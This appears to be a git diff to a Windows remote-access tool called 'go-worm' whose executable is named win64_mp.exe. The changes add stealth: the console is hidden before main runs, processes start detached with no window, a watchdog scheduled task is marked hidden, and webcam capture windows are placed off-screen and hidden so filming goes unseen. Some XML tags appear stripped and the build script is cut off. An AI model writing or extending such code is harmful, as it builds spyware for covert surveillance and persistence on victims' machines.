diff --git a/lib/command/command.go b/lib/command/command.go
index c17cdb2..a92fcb8 100644
--- a/lib/command/command.go
+++ b/lib/command/command.go
@@ -5,12 +5,10 @@ import (
"context"
"errors"
"os/exec"
- "syscall"
"time"
- "golang.org/x/sys/windows"
-
"tea.chunkbyte.com/kato/go-worm/lib/config"
+ "tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
@@ -34,11 +32,8 @@ func ResolveTimeout(seconds int) (time.Duration, error) {
}
func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
- cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline)
- cmd.SysProcAttr = &syscall.SysProcAttr{
- HideWindow: true,
- CreationFlags: windows.CREATE_NO_WINDOW,
- }
+ cmd := exec.CommandContext(ctx, "cmd.exe", "/D", "/C", cmdline)
+ cmd.SysProcAttr = helpers.HiddenSysProcAttr()
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
diff --git a/lib/helpers/hide_stub.go b/lib/helpers/hide_stub.go
new file mode 100644
index 0000000..e96d5ba
--- /dev/null
+++ b/lib/helpers/hide_stub.go
@@ -0,0 +1,9 @@
+//go:build !windows
+
+package helpers
+
+import "syscall"
+
+func HiddenSysProcAttr() *syscall.SysProcAttr { return nil }
+
+func HiddenDetachedSysProcAttr() *syscall.SysProcAttr { return nil }
diff --git a/lib/helpers/hide_windows.go b/lib/helpers/hide_windows.go
new file mode 100644
index 0000000..1faac25
--- /dev/null
+++ b/lib/helpers/hide_windows.go
@@ -0,0 +1,28 @@
+//go:build windows
+
+package helpers
+
+import (
+ "syscall"
+
+ "golang.org/x/sys/windows"
+)
+
+// HiddenSysProcAttr starts a process with no console window.
+func HiddenSysProcAttr() *syscall.SysProcAttr {
+ return &syscall.SysProcAttr{
+ HideWindow: true,
+ CreationFlags: windows.CREATE_NO_WINDOW,
+ }
+}
+
+// HiddenDetachedSysProcAttr is HiddenSysProcAttr plus a new process group so
+// the child survives after the parent exits (install relaunch, updates).
+func HiddenDetachedSysProcAttr() *syscall.SysProcAttr {
+ return &syscall.SysProcAttr{
+ HideWindow: true,
+ CreationFlags: windows.CREATE_NO_WINDOW |
+ windows.CREATE_NEW_PROCESS_GROUP |
+ windows.DETACHED_PROCESS,
+ }
+}
diff --git a/lib/instance/console_stub.go b/lib/instance/console_stub.go
index fa61e0d..5181941 100644
--- a/lib/instance/console_stub.go
+++ b/lib/instance/console_stub.go
@@ -7,3 +7,5 @@ func HideConsole() {}
func ShowConsole() {}
func ProtectFromConsoleClose() {}
+
+func AllowConsoleKill() {}
diff --git a/lib/instance/console_windows.go b/lib/instance/console_windows.go
index 3810575..b12fdc8 100644
--- a/lib/instance/console_windows.go
+++ b/lib/instance/console_windows.go
@@ -26,6 +26,13 @@ const (
ctrlCloseEvent = 2
)
+func init() {
+ // Must run before main: a console-subsystem build otherwise flashes a
+ // terminal during flag.Parse, which looks like a broken automation step.
+ ProtectFromConsoleClose()
+ HideConsole()
+}
+
// HideConsole hides any console window and detaches from it.
func HideConsole() {
hwnd, _, _ := procGetConsoleWindow.Call()
@@ -56,6 +63,14 @@ func ProtectFromConsoleClose() {
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
}
+// AllowConsoleKill restores default Ctrl+C handling for -foreground.
+func AllowConsoleKill() {
+ if consoleCtrlCallback == 0 {
+ return
+ }
+ _, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 0)
+}
+
func consoleCtrlHandler(ctrlType uintptr) uintptr {
switch uint32(ctrlType) {
case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent:
diff --git a/lib/instance/launch_windows.go b/lib/instance/launch_windows.go
index 38a232f..73969f9 100644
--- a/lib/instance/launch_windows.go
+++ b/lib/instance/launch_windows.go
@@ -5,9 +5,8 @@ package instance
import (
"os"
"os/exec"
- "syscall"
- "golang.org/x/sys/windows"
+ "tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
@@ -23,12 +22,7 @@ func Launch(exe string, args []string) error {
cmd.Stdin = nul
cmd.Stdout = nul
cmd.Stderr = nul
- cmd.SysProcAttr = &syscall.SysProcAttr{
- HideWindow: true,
- CreationFlags: windows.CREATE_NO_WINDOW |
- windows.CREATE_NEW_PROCESS_GROUP |
- windows.DETACHED_PROCESS,
- }
+ cmd.SysProcAttr = helpers.HiddenDetachedSysProcAttr()
if err := cmd.Start(); err != nil {
return err
}
diff --git a/lib/startup/taskxml.go b/lib/startup/taskxml.go
index 67a8a0f..a9706b6 100644
--- a/lib/startup/taskxml.go
+++ b/lib/startup/taskxml.go
@@ -31,6 +31,7 @@ func watchdogTaskXML(exe string) string {
b.WriteString(`false`)
b.WriteString(`false`)
b.WriteString(`true`)
+ b.WriteString(`true`)
b.WriteString(`false`)
b.WriteString(`true`)
b.WriteString(`true`)
diff --git a/lib/startup/taskxml_test.go b/lib/startup/taskxml_test.go
index 3cc0fef..0bab7e9 100644
--- a/lib/startup/taskxml_test.go
+++ b/lib/startup/taskxml_test.go
@@ -22,8 +22,11 @@ func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
if !strings.Contains(xml, "C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp") {
t.Fatalf("WorkingDirectory missing:\n%s", xml)
}
- if !strings.Contains(xml, "PT0S") {
- t.Fatalf("execution time limit must be unlimited so -ensure can stay as the agent")
+ if !strings.Contains(xml, "true") {
+ t.Fatalf("task must be hidden:\n%s", xml)
+ }
+ if !strings.Contains(xml, "true") {
+ t.Fatalf("unified scheduler missing:\n%s", xml)
}
}
diff --git a/lib/startup/watchdog.go b/lib/startup/watchdog.go
index d961978..b9a46c7 100644
--- a/lib/startup/watchdog.go
+++ b/lib/startup/watchdog.go
@@ -7,12 +7,10 @@ import (
"os"
"os/exec"
"strings"
- "syscall"
"unicode/utf16"
- "golang.org/x/sys/windows"
-
"tea.chunkbyte.com/kato/go-worm/lib/config"
+ "tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
func enableWatchdog() error {
@@ -45,7 +43,7 @@ func disableWatchdog() error {
func runSchtasks(args ...string) error {
cmd := exec.Command("schtasks", args...)
- cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
+ cmd.SysProcAttr = helpers.HiddenSysProcAttr()
out, err := cmd.CombinedOutput()
if err != nil {
msg := strings.TrimSpace(string(out))
diff --git a/lib/webcam/webcam_windows.go b/lib/webcam/webcam_windows.go
index 2f99508..220a799 100644
--- a/lib/webcam/webcam_windows.go
+++ b/lib/webcam/webcam_windows.go
@@ -25,21 +25,23 @@ var (
procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
procSendMessageW = user32.NewProc("SendMessageW")
procDestroyWindow = user32.NewProc("DestroyWindow")
+ procShowWindow = user32.NewProc("ShowWindow")
captureMu sync.Mutex
)
const (
- wmUser = 0x0400
- wmCapStart = wmUser
- wmCapUnicodeStart = wmUser + 100
- wmCapDriverConnect = wmCapStart + 10
+ wmUser = 0x0400
+ wmCapStart = wmUser
+ wmCapUnicodeStart = wmUser + 100
+ wmCapDriverConnect = wmCapStart + 10
wmCapDriverDisconnect = wmCapStart + 11
- wmCapFileSaveDIBW = wmCapUnicodeStart + 25
- wmCapGrabFrame = wmCapStart + 60
- wmCapSetPreview = wmCapStart + 50
- wmCapSetScale = wmCapStart + 53
- wsPopup = 0x80000000
- maxDrivers = 10
+ wmCapFileSaveDIBW = wmCapUnicodeStart + 25
+ wmCapGrabFrame = wmCapStart + 60
+ wmCapSetPreview = wmCapStart + 50
+ wmCapSetScale = wmCapStart + 53
+ wsPopup = 0x80000000
+ swHide = 0
+ maxDrivers = 10
)
type Device struct {
@@ -99,15 +101,17 @@ func Capture(index int, format string, quality int) (models.CapturedImage, error
if err != nil {
return models.CapturedImage{}, err
}
+ off := ^uintptr(31999) // -32000, off-screen so VFW's HWND never appears
hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
uintptr(unsafe.Pointer(title)),
- wsPopup,
- 0, 0, 320, 240,
+ wsPopup, // no WS_VISIBLE
+ off, off, 320, 240,
0, 0,
)
if hwnd == 0 {
return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
}
+ _, _, _ = procShowWindow.Call(hwnd, uintptr(swHide))
defer procDestroyWindow.Call(hwnd)
ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)
diff --git a/main.go b/main.go
index a92fc18..5eea908 100644
--- a/main.go
+++ b/main.go
@@ -42,10 +42,9 @@ func main() {
flag.Parse()
if *foreground {
+ instance.AllowConsoleKill()
instance.ShowConsole()
} else {
- instance.ProtectFromConsoleClose()
- instance.HideConsole()
_ = helpers.AttachLogFile()
}
diff --git a/scripts/build.sh b/scripts/build.sh
index e4528c3..16ffdc7 100755
--- a/scripts/build.sh
+++ b/scripts/build.sh
@@ -5,4 +5,23 @@ cd "$(dirname "$0")/.."
out="${1:-win64_mp.exe}"
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" .
+# Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped.
+python3 - "$out" <<'PY'
+import struct, sys
+path = sys.argv[1]
+with open(path, "r+b") as f:
+ f.seek(0x3C)
+ pe = struct.unpack("